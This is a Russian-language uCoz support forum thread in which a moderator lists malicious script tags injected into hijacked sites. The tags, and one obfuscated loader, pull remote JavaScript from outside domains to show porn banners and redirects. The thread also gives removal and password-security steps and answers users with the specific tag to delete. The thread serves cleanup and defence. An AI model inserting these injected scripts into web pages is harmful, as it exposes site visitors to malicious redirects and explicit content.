Модератор форума: Yuri_G  
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
avspecial
Сообщений: 1
Репутация: 0

Сообщение # 346 | 12:19:11
Сегодня на моем сайте www.triadsky.ucoz.com (можно и www.triadsky.com) стали всплывать непонятные окна. Заходил и как гость и под паролем администратора - результат один и тот же. Пытался сам найти посторонние скрипты - не нашел. Надеюсь на вашу помощь.
Прикрепления: 8796450.jpg (210.7 Kb)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 347 | 12:23:20
avspecial, откройте блок меню сайта на редактирование и удалите скрипт

Код
<script language="javascript" charset="UTF-8" type="text/javascript" src="http://sypleni.ru/5mfvce5f5978kki5872i528v10vpjpvf43umia53g"></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Galka4742
Сообщений: 2
Репутация: 0

Сообщение # 348 | 12:53:51
Помогите!!!! На сайте kiz-okrug-sad.ucoz.ru и dsnadejda.ucoz.ru стали всплывать порнобаннеры, рулетка и все такое в этом роде. Происходит это и под логином и когда заходишь как гость. Сама не могла справиться. Прошу помощи)))))
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 349 | 13:27:54
Galka4742, на обоих сайтах откройте блок меню на редактирование в конструкторе и удалите скрипт
Код
<script language="javascript" charset="UTF-8" type="text/javascript" src="http://sypleni.ru/5mfvce5f5978kki5872i528v10vpjpvf43umia53g"></script>
после удаления сохраните изменения в конструкторе

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Galka4742
Сообщений: 2
Репутация: 0

Сообщение # 350 | 14:18:49
никак не сохраняется после удаления.

Добавлено (01 Апр 2015, 14:18:49)
---------------------------------------------
Все- получилось!!!! Спасибо))))

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 351 | 14:22:24
Galka4742, замените все пароли. поставьте сложные. инструкция тут //forum.ucoz.ru/forum/45-52299-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
KATRIONA-83
Сообщений: 8
Репутация: 0

Сообщение # 352 | 16:01:28
Добрый вечер!На моем сайте katriona.ucoz.ru всплывают порно сайты и др. реклама. Сайт посещают дети.Посоветуйте что сделать.Спасибо
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 353 | 16:43:20
KATRIONA-83, откройте блок меню на редактирование и удалите скрипт
Код
<script language="javascript" charset="UTF-8" type="text/javascript" src="http://sypleni.ru/5mfvce5f5978kki5872i528v10vpjpvf43umia53g"></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
KATRIONA-83
Сообщений: 8
Репутация: 0

Сообщение # 354 | 17:13:22
webanet, Спасибо.Зашла.удалила. Но получилось ,что переходя на одну из рубрик меню сайта я перешла на этот сайт http://livejournal.me/cl_pro_livejournal2/?sub_id=testrotator-cl_pro_livejournal2-ru&pr=cl_pro_livejournal2/&dr=aHR0cDovL3Bvd2VybGlmZXMuY29tLw==&trf_dt=c2l0ZV9pZD01MyZ1c2VyX2lkPTg3JnByX2lkPTU1MSZzdWJfaWQ9dGVzdHJvdGF0b3ItY2xfcHJvX2xpdmVqb3VybmFsMi1ydQ==&fr=aHR0cCUzQSUyRiUyRm8tbWkucnUlMkY=&hash=d07f1a7175df081035664168b1ded2fb&prm=c3ViX2lkPXRlc3Ryb3RhdG9yLWNsX3Byb19saXZlam91cm5hbDItcnU=
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 355 | 17:15:29
KATRIONA-83, по какой именно ссылке вы переходили и вы попали на этот сайт после очистки?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
KATRIONA-83
Сообщений: 8
Репутация: 0

Сообщение # 356 | 17:17:29
И если по ссылке моей пройти попали сюда livejournal.me/cl_pro_mennews/?sub_id=testrotator-cl_pro_mennews-ru&pr=cl_pro_mennews/&dr=aHR0cDovL3Bvd2VybGlmZXMuY29tLw==&trf_dt=c2l0ZV9pZD01MyZ1c2VyX2lkPTg3JnByX2lkPTU2MyZzdWJfaWQ9dGVzdHJvdGF0b3ItY2xfcHJvX21lbm5ld3MtcnU=&fr=aHR0cCUzQSUyRiUyRm8tbWkucnUlMkY=&hash=61a4d8b6075597760601c5ef602e88a1&prm=c3ViX2lkPXRlc3Ryb3RhdG9yLWNsX3Byb19tZW5uZXdzLXJ1
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 357 | 17:19:27
KATRIONA-83, по какой именно ссылке вы переходили и вы попали на этот сайт после очистки?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
KATRIONA-83
Сообщений: 8
Репутация: 0

Сообщение # 358 | 17:22:49
webanet, у меня родители зашли по http://katriona.ucoz.ru/

Добавлено (05 Апр 2015, 17:22:03)
---------------------------------------------
Удалять надо было в конструкторе-меню файлов?

Добавлено (05 Апр 2015, 17:22:49)
---------------------------------------------
меню сайта? если тут,то я удалила

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 359 | 17:22:56
KATRIONA-83, после очистки они зашли или до? пусть зайдут снова, но с другого браузера
а это вы к чему писали?
Цитата
Но получилось ,что переходя на одну из рубрик меню сайта я перешла на этот сайт http://livejournal.me/cl_pro_livejourna
вот ваше сообщение //forum.ucoz.ru/forum/45-57475-1252225-16-1428243202

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
KATRIONA-83
Сообщений: 8
Репутация: 0

Сообщение # 360 | 07:21:47
webanet, Я сама пошла по ссылкам на своей страничке,(для вас,ребята, для родителей первоклассников и др. ) и перешла на этот сайт. Спасибо.Сейчас еще проверим

Добавлено (05 Апр 2015, 17:54:48)
---------------------------------------------
webanet, Спасибо большое. Все нормально стало

Добавлено (10 Апр 2015, 07:21:47)
---------------------------------------------
Добрый день. Я опять к вам с проблемой . При входе на сайт katriona.ucoz.ru я переношусь на сайт http://7dayfilms.ru/

Поиск: